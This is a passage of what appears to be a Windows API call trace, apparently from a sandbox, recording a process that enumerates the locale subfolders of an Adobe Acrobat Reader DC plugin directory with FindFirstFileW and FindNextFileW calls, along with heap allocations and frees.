DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.828] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.829] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.829] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.829] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.829] GetProcessHeap () returned 0xc10000 [0252.829] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.829] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0252.829] GetProcessHeap () returned 0xc10000 [0252.829] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.830] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0252.830] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.830] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.830] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.830] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0252.830] GetProcessHeap () returned 0xc10000 [0252.830] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.830] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0252.831] GetProcessHeap () returned 0xc10000 [0252.831] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.831] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.832] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.832] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x49e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.832] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x49e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.832] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.832] GetProcessHeap () returned 0xc10000 [0252.832] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.833] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0252.833] GetProcessHeap () returned 0xc10000 [0252.833] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.833] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.833] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.833] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.833] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.833] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.834] GetProcessHeap () returned 0xc10000 [0252.834] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.834] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0252.834] GetProcessHeap () returned 0xc10000 [0252.834] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.834] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.032] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.056] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.056] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.057] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.057] GetProcessHeap () returned 0xc10000 [0253.057] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.057] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0253.057] GetProcessHeap () returned 0xc10000 [0253.057] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.057] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.058] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.059] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.059] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.059] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0253.059] GetProcessHeap () returned 0xc10000 [0253.059] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.059] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0253.059] GetProcessHeap () returned 0xc10000 [0253.059] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.064] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.064] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.064] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.064] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.065] GetProcessHeap () returned 0xc10000 [0253.065] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.065] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0253.065] GetProcessHeap () returned 0xc10000 [0253.065] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0253.067] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.067] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.067] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.067] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0253.067] GetProcessHeap () returned 0xc10000 [0253.067] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.067] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: 